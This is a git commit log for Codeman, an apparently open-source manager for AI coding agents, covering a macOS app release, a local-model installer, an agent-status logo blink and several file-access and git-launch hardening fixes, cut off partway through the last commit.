Codeman maintainer 31ce0c88cd Merge ci/macos-app-release: build, sign, notarize and attach Codeman.dmg on every release
release.yml and docs/releasing.md take the branch's text, which is master's text plus the macOS app additions (its first commit copied both files from master).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:07:05 +01:00
Codeman maintainer e8a63ede00 Merge feat/local-model-recommendation: recommend and install a local coding model on this Mac (experimental)
Conflicts resolved as on test/desktop-macbook: config/test-suites.ts keeps both browser tests (desktop-connect-page and local-model-ui), and the CLAUDE.md state-files line keeps #778's cli-installed entry with the local model's local-model.json and local-model/ entries.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:06:46 +01:00
Codeman maintainer 2522ac1727 Merge chore/remove-ralph-start-button: remove the "Start Ralph Loop" button from the start screen
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:06:01 +01:00
Codeman maintainer 2f9cc7aabc Merge #780 feat(files): follow the agent into a worktree outside the session folder
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:56 +01:00
Codeman maintainer 10db8a4bd9 Merge #776 test: keep two tests independent of the host's locale and git ignore file
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:53 +01:00
Codeman maintainer e6c79c8e8c Merge #779 fix(macos): never run Apple's placeholder git, which opens the developer tools window
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:49 +01:00
Codeman maintainer 98c4a3d386 Merge #778 fix(cli): a running server notices a CLI the installer just added
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:41 +01:00
Codeman maintainer 4b349b57f6 Merge #773 feat(desktop): install Codeman from the app, with no Terminal and no password
Conflicts resolved as on test/desktop-macbook: install.sh usage() lists CODEMAN_NO_ADMIN=1 or 0 and #773's CODEMAN_AI_CLI and CODEMAN_PROGRESS=1; probe.rs keeps #781's agent() with TIMEOUT, MAX_BODY and probe_within all pub; the desktop README keeps both known-limits entries.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:38 +01:00
Codeman maintainer a7343fe087 Merge #781 feat(desktop): blink the lid Apple logo with what the agents are doing
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:05:02 +01:00
Codeman maintainer 49e1dda23b Merge #782 fix(approvals): the list leaves a dialog too new to judge
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:04:59 +01:00
Codeman maintainer a192fb7253 Merge #763 feat(desktop): native macOS app that runs, installs or connects to Codeman
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 04:04:57 +01:00
Codeman maintainer baf9dfa2eb docs: link the Codeman app for Mac from the README and the wiki
The 1.50.0 release attaches Codeman.dmg to every release, so
https://github.com/Ark0N/Codeman/releases/latest/download/Codeman.dmg
always serves the newest app. This puts that link where a Mac user
looks first:

- README.md: one line under the install one-liner, and a short
  "On a Mac: the Codeman app" section in Quick Start, after Docker
  Compose. What the app does, the download, universal (Apple Silicon
  and Intel), macOS 11.3, the WebKit of Safari 16.4 for Codeman's page,
  macOS 15 (or a tmux already there) for the install from the app, and
  how to update it.
- README.zh-CN.md: the same, translated.
- docs/wiki/Installation.md: a matching section with a First launch
  list (the one "downloaded from the internet" question, the Local
  Network question on macOS 15) and the limits that matter on day one.
  Its anchors, #on-a-mac-the-codeman-app and #first-launch, are what
  the website links for first-launch help. Route A points to it.

The limits are copied from packages/desktop/README.md. The app is
signed with a Developer ID and notarized, so no Gatekeeper workaround
and no per-update Keychain prompt is described.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-08 03:44:00 +01:00
Codeman maintainer 7edf1a1c27 feat(desktop): a blink style for each state of the agents
The logo said one thing: agents are working. It now has a style of its own
for each state the tabs show: at work, finished and waiting for you (yellow),
and stopped on a permission or a question (red), set under View > Blink Apple
Logo. The most urgent state with a style wins, red then yellow then work, and
a state set to Off falls through to the next instead of silencing the logo.

Red and yellow come from `GET /api/approvals`, the list the page rebuilds
those tabs from after a reload, read natively for the reason the session list
is: WebKit stalls a hidden page's stream. An idle item stops counting once it
is acknowledged, so the logo stops when the tab's colour goes. The request is
skipped while neither alert has a style, a 404 from an older server reads as
no alerts, and a request that fails keeps the last answer. A dialog on screen
costs the server one tmux capture per poll.

Alarm is new: three sharp flashes and a short rest. It stays under the limit
of three flashes in any second, so its urgency comes from its shape.

A style saved by the earlier version stays as the one for work, and yellow
and red start as Wink and Alarm, since whoever chose one asked for a logo that
talks. `SETTLE` goes from 2 s to 3 s, the time the server takes to judge a new
dialog, so a prompt answered before its hook landed never flashes red.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 16:26:16 +01:00
Codeman maintainer 324aa75896 fix(approvals): the list leaves a dialog too new to judge
`GET /api/approvals` re-reads the pane of every pending dialog and resolves
one whose frame shows no dialog, either because its options vanished or
because the frame shows a turn running. `notePrompt` deliberately waits 3 s
before making that same judgement, since the Notification hook can land
before Ink paints the dialog and the working line is still on screen then.
The list did not wait. That rarely mattered while it ran once per page load,
but a client that polls it would resolve a live prompt as answered in the
terminal, clearing the red alert on every device and the push Approve button
with it. `sweepForList` skips a dialog younger than the delay.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 16:21:37 +01:00
Codeman maintainer cd4cee15a7 feat(desktop): blink the lid Apple logo while agents work
On a MacBook Pro with a PROLED XDR display, the lit Apple logo on the lid
can blink while agents work and stop when they finish, so a run can be
read from across the room. View > Blink Apple Logo While Agents Work
picks a style (Calm, Slow, Wink, Heartbeat, Fast). It is off by default,
and the menu exists only on a Mac that has the logo.

Apple documents one control for the logo, `sudo defaults write
com.apple.CoreBrightness LEBacklightMode -int 0`. The same setting is a
property of BrightnessSystemClient in the private CoreBrightness
framework, which a process of the logged-in user can set with no
administrator, so nothing here needs a helper or a password.

The setting is system-wide and survives a reboot, and the release profile
has panic = "abort", so the work runs in a child process (this binary
with --logo-blink) tied to the app by a pipe. When the pipe closes,
however the app ended, the child restores the logo and exits. A marker
file covers power loss and a SIGKILL of the child itself.

The child asks api/sessions itself: WebKit stalls the event stream of a
hidden page, which lost whole turns and ran a blink 39 s past the end.
It sends the session cookie of its first answer with every poll, because
a good password without a cookie creates a login session each time and
Codeman evicts the oldest of 100.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 05:06:39 +01:00
Codeman maintainer 59af305e84 feat(desktop): find the Codeman servers running on this Mac and offer to connect
When a Codeman server of this user ran at an address the app could not open
as its default one, the This Mac tab only named host and port and sent the
user to Another machine to type the address again. A second instance beside
the one that answers (a beta, a `codeman web --port 4000` in a terminal) was
not shown at all.

The look at this Mac now works out an address for every listening socket of
this user's Codeman servers (`found_addresses`, pure): 127.0.0.1 for a bind
to loopback or to every interface, `[::1]` when that is the only loopback
socket, the address itself for a bind to one; `https` and the base path come
from `--https` and `--base-url` on the command line. A server at the default
address with no `--base-url` of its own keeps the default URL, since
install.sh's launchd job has the base path in its environment, where `ps`
does not show it. The default address comes first, then the others by port.

Each address other than the default one is asked once, all at the same time,
with no login. The default probe's answer is reused for its own row. When
nothing answers at the default address, the first found server that answers
is still what Open is for, so each gets the probe's usual 5 s; next to a
Codeman that answers they are only listed and get 2 s. `LocalStatus.found`
replaces `elsewhere`.

The tab lists them: "Codeman is already running on this Mac." with a row
each when none answers at the default address, and "Also running on this
Mac" under Open otherwise. A row has the address, the version and Connect,
or the reason the app cannot open it. Connect fills the address in and runs
the page's one connect(), so the app checks it, uses its saved login and
remembers it like an address typed under Another machine. Nothing connects
by itself, and a refused connect from a row never arms the reopen that Open
has for a starting server.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-07 04:27:16 +01:00
Codeman maintainer be8fc2980a style(local-model): white for the feature, built like the primary launcher
The violet button was the one thing on the start screen outside the app's
blue, and it carried white text and a see-through disc where its neighbour
has dark ink and a solid disc. It is now white with dark ink and a solid
disc, the same on the Install button, and the chooser's selected row, tile
and model bar follow. Light skins turn it over to dark, since a white button
vanishes on a pale page. The context takes the app's blue.

The tokens are named for what they mean now (--lm-brand, --lm-context).

Brings test/local-model-ui.browser.test.ts up to the redesign it had fallen
behind: it is outside the gate, so the button's 46 px, the 12 px bar and the
memory panel's edges had gone unnoticed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 04:23:02 +01:00
Codeman maintainer aa76b1b304 style(local-model): rose for the brief peaks in the memory map
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:44:19 +01:00
Codeman maintainer 6b1664abae docs(local-model): the memory map in the frontend rules
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:22:25 +01:00
Codeman maintainer eb91279a3b feat(local-model): a memory map and real colour in the chooser, the button first
The owner's verdict on the chooser: nice, but not nice enough, too much just
blue. He also wants "Run a local model" on top of the start screen, above
Run Claude Code.

The memory bar is now a map: the model, its context and the brief peaks side
by side on the track of what this Mac can give a model, each with its size in
a legend, and the verdict on the fit beside the figure. recommend() sends what
the need is made of as `Candidate.memory`.

Colour now carries meaning: green for good and tested, amber for tight, orange
for slow, teal for the context. Violet is the feature's own colour, on its
start screen button and its main action. Every row has a size tile and a speed
gauge scaled to the fastest row in the list. The light skins get deeper values
of the same colours, and the window is 40 px taller to hold it without
scrolling.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-07 03:21:35 +01:00
Codeman maintainer 04f232f239 feat(local-model): the start screen's local model button in the size of the main one
The owner asked for it much bigger and in the middle. The button keeps the
chip's markup and takes the primary button's height, radius and weight, with
an accent outline and its glyph in a disc, so a model on this Mac is offered
as a main way in rather than as a footnote under the launchers.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-07 00:04:57 +01:00
Codeman maintainer 0a8ab84ea1 docs(local-model): name every covered launch path, both install executors, and the port without a login
The runner header says what each caller passes (the job: the compiled stock
command; the route: the merged entry, behind cliManagementEnabled).
docs/cli-registry.md names both executors in its trust boundary. The
security architecture gains a section on the pinned runtime and its hash,
the loopback port without a login and the digest check, and the install
path without cliManagementEnabled; SECURITY.md lists the port as a known
limitation. The guides and the rules name exactly the paths the launch
guard covers, the session that keeps calling a stopped runtime's port, the
claim before the connect writes, and the outcome kept in memory.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:55:02 +01:00
Codeman maintainer 77d29d4621 feat(local-model): one frame for the window, honest figures, a table for the consent
The window is one frame for the whole flow: a fixed height on desktop, App
Settings' boxed close button, the buttons in a foot of their own outside
the part that scrolls, so a click never moves the next button away and
nothing is cut off; the short screens are centred in it on desktop and sit
above the buttons on a phone.

The chooser lists the pick first and then the other models by download
size, largest first, a column the reader can see. A pick that only just
fits says "Best fit, tight". The memory figure is an estimate and says so
once, in whole GB; its legend names the peak, and the installed line uses
the same words beside what the model takes now, so the two figures are not
read as a contradiction. The legend, the column headers and the foot's
promise are set in --text-dim, the bar's track in --text-muted so its free
part can be seen, and only the download figure keeps tabular figures.

The consent screen is the download as a table: the chosen row, the runtime,
the coding agent with its installer's command as the row's second line, the
total in the strong weight, then where it goes in one line. The download bar
means the model download alone and is gone once the model is in; the screen
that ends an install shows "Start a session" alone; an error on an installed
model is the headline with a grey dot; an error's first sentence is the
headline; Remove is quiet everywhere but red in its own question. The
no-recommendation reasons are one sentence each, and the untested note is
in Codeman's voice. A refusal the server names is printed from its sentence.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:55:02 +01:00
Codeman maintainer 3c4bb91d6f fix(local-model): ask the launch guard before every start of an agent on the managed endpoint
Only the two session routes asked launchRefusalMessage(). The attach that
finds no pane, the respawn of a dead pane (a click on the tab, a respawn
start, the boot recovery), restartCli() and the reboot-restore rebuild
started an agent on the endpoint unasked. Session gains setLaunchGuard(),
asked right before a NEW agent process is started and never for an attach to
an agent that runs; WebServer.setupSessionListeners() sets it for every
session; a refusal is a LaunchRefusedError that never falls back to a direct
PTY. The reboot-restore route asks before it builds and skips the entry with
its own reason, left on offer.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:46 +01:00
Codeman maintainer fa978008d2 fix(local-model): claim the connection first, keep an outcome the disk refused, say why a start failed
The connect step records the connection in the state file BEFORE it writes
the endpoint record and the settings flag (the flag's earlier value read by
inspectLocalEndpoint()), so a state write that fails or a server killed
between the two never leaves a record of ours that the state file does not
know; a record under the reserved id that says exactly what ours would say
is ours. changePort() writes the state first and puts the old port back when
the endpoint move is refused.

A job whose end could not be written (a full disk) is kept in memory: the
view shows it, Resume and a new install start from it, the next verb writes
it, and Cancel never answers a 500. A first install on a full disk is a 507
with the sentence. "installing" in the file while this process runs no job
always reads as paused or that failure.

An installed model whose runtime does not start says so (runtime-start-failed
with Start as the next step, and the launch check says it too); the stored
runtime version is started while its folder is unpacked. Stop, Remove and
the boot of anything that is not a running installation end a runtime an
earlier server left behind before any file is deleted. Stop and "Use another
port" answer 409 sessions-open while a live session uses the model. A pull
that failed because the runtime is gone is runtime-stopped, not a network
problem. After "does not fit" only a model that needs less memory is offered.
A replaced job's partial blobs are deleted. Every 400 carries its sentence as
data.message, and the six inline sentences are labels with zh-CN entries.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:45 +01:00
Codeman maintainer 6319fffce1 fix(local-model): end a runtime an earlier server left behind, and keep its version
The supervisor reports the child's pid the moment it is spawned, before it
answers, so a server killed during a start still leaves a pid that names the
runtime as ours. stop() takes that stored pid (previousPid) and ends a
runtime an earlier server left behind when its command line is a binary
under our runtime folder, so no caller deletes the folder under a live
process. start() takes a version: an installed model keeps the runtime
version it was installed with when a later build pins another one.

removeLocalModelFiles() refuses a local-model folder that is itself a
symbolic link (every check compared against the real path of the root, so
a link in its place passed whatever it pointed at). removePartialModelBlobs()
deletes what an interrupted download left in the model store, which the
runtime answers "not found" for and never deletes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 23:54:45 +01:00
Codeman maintainer 30ffdaeecd test(local-model): the install end to end over the fake runtime
The real routes, service, recommendation, runtime download and unpack,
supervisor, pull, checks, connection and state file, joined together. Only
the runtime (a fake HTTP server the injected spawn "starts"), the hardware,
the coding agent's installer and the waits between retries are stand-ins.

Walks: the whole install and its removal (the folder is gone, the settings
flag is restored); a runtime download that arrives damaged; a model download
that fails twice and then succeeds; one that keeps failing; a model that
calls no tool; Cancel during the model download; a server restart during the
model download, which comes back paused and waits for a click.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 7238ced571 docs(local-model): the install guide, the API and the rules
docs/local-models.md is the guide: the steps, the layout on disk, what is
written outside the folder, the failures and their next steps. The API
reference documents the install object and the five verbs, and how the list
is ordered. The rules for the server side are in CLAUDE.md and
architecture-invariants.md, the user-facing pages in the wiki.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 84d5c691ff feat(local-model): one button and a chooser window replace the welcome card
The read-only card is gone. The welcome screen has one button, "Run a local
model" ("Local model" once one is installed), and App Settings > Models has
one row; both open the same window.

The window follows `install.state`: choose a model (a radio group, with a
memory bar filled to what the selected model needs), confirm the sizes and
the folder, watch the download and the steps, and end on "Start a session".
Paused, failed, installed (running or stopped), Remove and "no model fits"
are screens of the same window. It polls the GET once a second while open.

Every dynamic string goes in through textContent, labels and sentences come
from the payload, no CLI id is compared, and every new string has a zh-CN
entry.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 3af94df4f6 feat(local-model): install a model from the server, with a job that can pause
POST /api/local-model/install, cancel, resume and runtime, and DELETE
/api/local-model. The GET gains an `install` object the window polls. All of
it is experimental and admin only in multi-user mode.

One job of five steps (runtime, model, verify, agent, connect) driven by a
pure reducer over explicit state, step and transition tables. One job at a
time (409). The consent is bound to the size shown: `acknowledgedBytes` must
be the server's own total (409 size-changed). A job a server restart
interrupted comes back paused and never continues without a click. Every
failure is a code with one next step.

The model is judged against the budget the runtime measured before it is
downloaded. A missing coding agent is installed with its stock command
through the shared runner, audited. Connect writes one endpoint record under
the reserved id through mutateCustomModelHosts() and switches
customModelEndpointsEnabled on through mutateSettingsFile(), remembering the
flag's value. The model's digest is stored and read again at boot and before
every session start on that endpoint; a changed model refuses the launch.

Remove answers 409 with the session names while a live session uses the
endpoint, undoes the two writes first, restores the flag only when this
feature switched it on and no other endpoint is saved, and deletes only
inside local-model/. The coding agent stays.

The server starts the runtime at boot when a model is installed and stops
it at shutdown beside stopDeepSeekWeb().

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer a864acc52c fix(custom-model): serialize every write of the endpoint store
The four endpoint routes and the 5-minute discovery sweep each read
custom-model-hosts.json, changed their copy and wrote it back through one
shared temp file name. Two of them at once could tear the file or drop each
other's record: ten creates sent together did not all land.

Every write now goes through mutateCustomModelHosts() (one promise chain, a
random temp name, mode 0600), with each check inside the same step as its
write. A file that does not parse is refused with 409 and never replaced.
A delete of an unknown id no longer rewrites the file. A guard test fails
any other writer in src/.

The id `local-ollama` is reserved for the model Codeman runs on this Mac: a
new endpoint may not take it, and while the record is the managed one it is
not edited, deleted or re-discovered from these routes.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer be9279de35 refactor(cli-registry): move the CLI install runner into a shared module
The runner that executes a CLI's stock install command (the environment
without CODEMAN_*, the npm prefix redirect, the bounded process group, the
one install per CLI at a time) moves from cli-registry-routes.ts to
src/cli-install-runner.ts, so the local model install can use the same one.
The route re-exports installEnv and npmGlobalPrefixWritable and behaves as
before; its tests are unchanged.

New in the shared module: an abort signal that kills the process group,
stockInstallCommand() (the compiled stock command, never the clis.json one)
and tryBeginCliInstall(), the one install slot per CLI for both callers.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 2af413aa9b feat(local-model): the pinned runtime, its supervisor and the runtime client
runtime.ts: the runtime is pinned in a compiled constant (version, URL, size,
sha256). The archive is streamed to a .partial file while it is hashed,
continued with a Range request, retried at most 3 times, and the hash is
compared before anything is unpacked; a mismatch deletes the file. It is
unpacked with /usr/bin/tar into a temporary folder and renamed.

The supervisor runs the runtime as a non-detached child with an environment
built from an allowlist by the pure runtimeEnv(), on a port chosen once by
binding. It restarts the child at most 3 times, stops it with SIGTERM, adopts
or replaces its own orphan on the port and answers port-in-use for any other
listener. parseInferenceComputeTotal() reads the device total the runtime
logs when it starts. Under vitest nothing spawns or fetches.

ollama-client.ts: the pull is parsed incrementally by a pure parser (a 23 GB
pull is about 1.4 million lines), with up to 5 retries on an error line or a
cut stream. verifyModel() loads the model with one tiny chat, checks what the
runtime reports (all on the GPU, the chosen context) and makes one tool
probe; each failure is a code.

developer-tools.ts: only /usr/bin/xcode-select -p, bounded, darwin only.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:38 +01:00
Codeman maintainer 492df776d0 feat(local-model): judge the fit on the measured peak and rank a tested Mac first
The catalogue rows carry the figures measured on a Mac (the MLX build of
qwen3.6:35b-a3b is 23,105,798,956 bytes, about 37 KB held per context token,
about 3 GB of runner overhead, about 5 GB more for a moment while a long
prompt is processed). A model's need is now its peak. Rows that were not
measured use the same per-token and overhead figures and say `estimated`.

qwen3.6:35b-a3b gets the tested entry for an Apple M5 Pro with 48 GB and
OpenCode, with its measured 67.7 tokens per second, so that row may say
"Tested on a Mac like this".

The ranking changes with it: a pair tested on a Mac like this one comes
first, then speed (ok, unknown, slow), then model rank, harness rank and the
larger context. The fit grade decides whether a row is listed and what it
says, it no longer sorts, so a model is offered at the largest context it
fits at. recommend() takes the budget the runtime measured
(`budgetSource: measured`), and modelFitsBudget() judges one model against it.

Candidate rows now always carry `needSource`, `harnesses`, `installBytes`,
`installGb` and, where one applies, `tag`. `kvBytesPerToken` and the prompt
cache tiers are gone.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 22:16:37 +01:00
Codeman maintainer 56b85b707b chore(ui): remove the "Start Ralph Loop" button from the start screen
The owner asked for it to go for the next release. The button, its two
style rules and its translation entry are removed; nothing else changes.

The Ralph wizard itself stays in the code, but this button was its only
entry point, so the wizard can no longer be opened from the interface.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 21:35:04 +01:00
Michael GrundbergandClaude Opus 5.5 e2359aa0e8 test(files): cover the review's two remaining outside-worktree cases
The symlinked .git folder test now also runs from a session in the main
checkout, as well as from a linked worktree. A new pane-watcher test
checks that an unparseable docker-cases.json follows nothing.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 21:13:45 +01:00
Michael GrundbergandClaude Opus 5.5 8d33f53fd0 fix(files): harden the outside-worktree root after review
Keep the 1.49.0 API meaning: liveWorktree and root=live stay inside the
session folder, and an outside worktree is published as outsideWorktree
and walked only with root=live-any.

Refuse a symlinked .git folder as the main worktree, sensitive files
inside a followed worktree, and any outside worktree while attachment
confinement is on or around a blocked tree. The file routes re-check
the guard settings on every request, and a throwing rule check refuses.
The panel keeps its Back to worktree button while pinned to the session
folder.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 20:33:14 +01:00
Codeman maintainer 84c1017487 feat(local-model): the launch refusal hook, and an honest name for a rebuilt log line
- `LocalModelService.launchRefusal(endpointId)`: what a session launch asks
  before it starts on the managed endpoint. It answers the error that
  refuses the launch (the runtime child is not alive, another program holds
  the port, the runtime keeps stopping, the model's digest changed) or
  nothing. New error code `runtime-not-running` with its sentence, for a
  runtime the person stopped: only a refused session start says it.
- The fake runtime's MacBook log line is rebuilt from the two values the
  measurement notes quote, so it is `INFERENCE_COMPUTE_LINE_MACBOOK` now.
  Only the Mac mini line is a verbatim capture and keeps `REAL_`.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 20:23:58 +01:00
Codeman maintainer 771072c36b feat(local-model): contract for the install stage (types, stubs, fake runtime)
The types, the module skeletons and the test fake that let the runtime, the
install job and the window be built at the same time.

Types:
- src/types/local-model-install.ts (new): the runtime pin, the install
  states, steps and error codes with one sentence and one next step each,
  the progress, the `install` object of GET /api/local-model, the bodies and
  409 answers of the install verbs, the state file. `LocalModelStatus` moves
  here; `install` is optional until the route emits it.
- src/types/local-model.ts: the catalogue row's Mac memory figures, the
  measured speed of a tested entry, the `measured` budget source,
  `RecommendOptions`, and the row tag, the coding agents and the install
  total of a candidate. All optional until the catalogue and `recommend()`
  carry them, so the read-only stage keeps compiling and its tests stay
  green.

Modules with final signatures and bodies that throw:
runtime.ts (the compiled pin is final), ollama-client.ts, developer-tools.ts,
state-store.ts, install-job.ts (the state, step and transition tables are
final), connect.ts, custom-model-hosts-writer.ts, cli-install-runner.ts.
Nothing imports them yet, so the server is unchanged.

Implemented: paths.ts (every folder of the feature, from dataPath()), and
`modelFitsBudget()` in recommend.ts, the judgement the job makes with the
measured budget before it downloads a model. `recommend()` takes the options
parameter and does not read it yet.

Test fake: test/fixtures/fake-ollama.ts, a runtime on a port the system
picks, in the shapes measured on a Mac: version, tags, ps, the pull stream
(MLX and GGUF lines, an error line, a cut stream, a resumed pull), chat with
and without a tool call, the model list, a runtime archive with Range
support, and a fake child process that logs the device total.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 20:05:15 +01:00
Michael GrundbergandClaude Opus 5.5 c9b79097b0 feat(files): follow the agent into a worktree outside the session folder
#772 made the Files panel follow an agent into a worktree inside the
session's folder. A worktree beside the repository (git worktree add
../feature, or an EnterWorktree into one that already exists there)
stayed unfollowed, since serving it needs a second confinement root.

findOutsideWorktree() answers that case without running git. The
nearest .git above the pane must name <common dir>/worktrees/<id> of the
session's own repository, and that registry entry must name the
candidate back (or the .git folder must be the common dir itself). It
refuses /, the home folder and above, any folder holding workingDir and
Docker case workspaces, and multi-user mode applies the owner's
folderAllowedForUser rule. The answer is liveWorktree with outside: true
and the folder's real path.

The file routes serve an absolute path inside that worktree, and only
while the folder still resolves to the recorded path. A relative path
still resolves against workingDir alone. The browser routes such paths
to the editable preview, and root-relative markdown refs resolve from
the top of the worktree.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 17:54:59 +01:00
Codeman maintainer 66ca92f7cf docs(local-model): label the route experimental and write down the rules
- docs/api-reference.md: GET /api/local-model is labeled experimental
  until the step that sets a model up ships, so its payload is not a
  stable /api/v1 contract one stage before that step changes it. The
  section now describes the verdict as judged, the three sentences of
  the memory reason, the notes, the speed rounding and which size to
  show as the installed memory. The os-fallback description was wrong:
  the free disk space is reported there too.
- docs/versioning-policy.md: the route is listed under the experimental
  surfaces.
- docs/wiki/Settings-Reference.md: App Settings > Models > Model on this
  Mac, in the words of a user.
- CLAUDE.md and src/web/CLAUDE.md: the invariants the code relies on
  (read-only, the probe, harness rows as data, the meaning of limited,
  the word Recommended, one unit, labels from the payload, when the
  card and the group show).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:38:12 +01:00
Codeman maintainer 8281045cf2 fix(local-model): say what is true of the Mac, and why a model is missing
Review fixes for the read-only recommendation and its card.

Recommendation (pure):
- `limited` is now a statement about the Mac: no model with 12 billion
  parameters or more fits. It is judged on everything that fits, before
  the disk filter and whatever the pick is. A 32 or 36 GB Mac whose pick
  is a 9B model no longer reads "This Mac can run a small model" above a
  list of 20B, 27B and 35B models, and knowing the chip no longer lowers
  the verdict. A small pick under `ok` carries a note that says so.
- A model that fits the memory but has no room on the disk is no longer
  dropped in silence: the best-ranked one is named in a note with the GB
  that are missing. A full disk cannot turn a 48 GB Mac into a
  small-model Mac.
- "Models fit, but not at a context a harness needs" has its own
  sentence with the budget and the need, worded as an estimate. The
  16 GB Mac mini misses by 1.3 points (10.3 of 10.4 GB) and was told
  flatly that its memory is too little, the sentence of an 8 GB Mac.
- The installed memory is named by the size the Mac is sold as (48, not
  51.5): the hardware line and the memory sentence. Every computed size
  stays decimal GB from the one formatter. An unknown memory size is no
  longer reported as "0.0 GB".
- Slow is graded on the unrounded speed: 9.95 to 9.9996 tokens per
  second printed as 10 and read ok.
- The disk sentence names the 10 GiB that must stay free, so its
  numbers add up for the reader.

Card and Settings group:
- The Settings group "Model on this Mac" is hidden on a server that is
  not a Mac, and until the first answer says it is one.
- Only `403 FORBIDDEN` is a refusal. `403 PASSWORD_CHANGE_REQUIRED`
  (an admin who must change the password) is a failed request and is
  asked again, so that admin no longer loses the card until a reload.
- Each fit and speed label carries what it measures as its tooltip and
  accessible name, an alternative with a speed estimate prints it, and
  the count beside "Other models that fit" is gone (it was the number
  of rows, capped at four, not the number of models that fit).
- The line saying nothing can be set up yet sits right under the pick,
  in the colour of every other line (it was 3.9:1), and says whose step
  it is.
- The dismissal key is named for this stage, so hiding the read-only
  card does not hide the install offer later.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:37:53 +01:00
Codeman maintainer 91cea50d9c fix(macos): never run Apple's placeholder git, which opens the developer tools window
On a Mac without the developer tools, /usr/bin/git is a placeholder: running
it, even as `git --version`, makes macOS open its "install the command line
developer tools" window. The server asked "is git here?" exactly that way on
the first page load (isGitAvailable() from renderIndexHtml), so a no-admin
install on such a Mac ended with that window one second after the server
started, and it would have come back at every start. Found on a new MacBook
on 2026-11-06: the system log names the Codeman server as the parent of that
git process.

One gate now stands in front of every git the server starts
(src/utils/git-availability.ts). On macOS it resolves git on the PATH itself;
when that is the placeholder, `xcode-select -p` must name a developer folder
that holds a git of its own. xcode-select only prints and never opens a
window. Without the tools, git counts as absent and is never started: every
caller gets the ENOENT it already answers with "git is not installed".
A refusal is asked again after a minute, so installing the tools later needs
no server restart for the git features, and isGitAvailable() no longer
memoizes that one refusal.

Gated: the clone and worktree runners, the Git panel's status and fetch, the
update check and repository status, and Read My Mind's workspace signals.
test/git-spawn-gate.test.ts covers the decision and scans src/ for a git spawn
in a file that does not call the gate, with the reviewed list of sites pinned.

Checked for real on macOS 27. With the developer tools present (Command
Line Tools on one Mac, Xcode on another) the gate resolves /usr/bin/git,
finds the tools and allows git, in 3 to 5 ms. On a MacBook with no
developer tools, a fresh no-admin install with this fix started the server
and loaded the page with git reported as absent, no window opened, and the
system log holds no request to install the tools; the same install without
the fix logged that request one second after the server started.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:02:53 +01:00
Codeman maintainer 4739542397 chore(local-model): drop build-time wording from two comments
The label list was "frozen for the parallel build" and the card's test said
the route answers 501: both were true while the pieces were written side by
side and are not any more. Comments only.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:30:59 +01:00
Codeman maintainer 58e20cf613 docs(api): document GET /api/local-model
A "Local model recommendation" section in the API reference: the read-only
route, its admin gate in multi-user mode, why a failed probe is a 200, and
every field of { hardware, recommendation, catalogUpdated }, including that a
size travels as bytes and as decimal GB text.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 1976431ce6 feat(local-model): welcome card and App Settings row for the model on this Mac
The read-only face of GET /api/local-model: what the Mac the server runs on
can run as a local coding model.

- local-model-ui.js: one builder paints both containers from the same
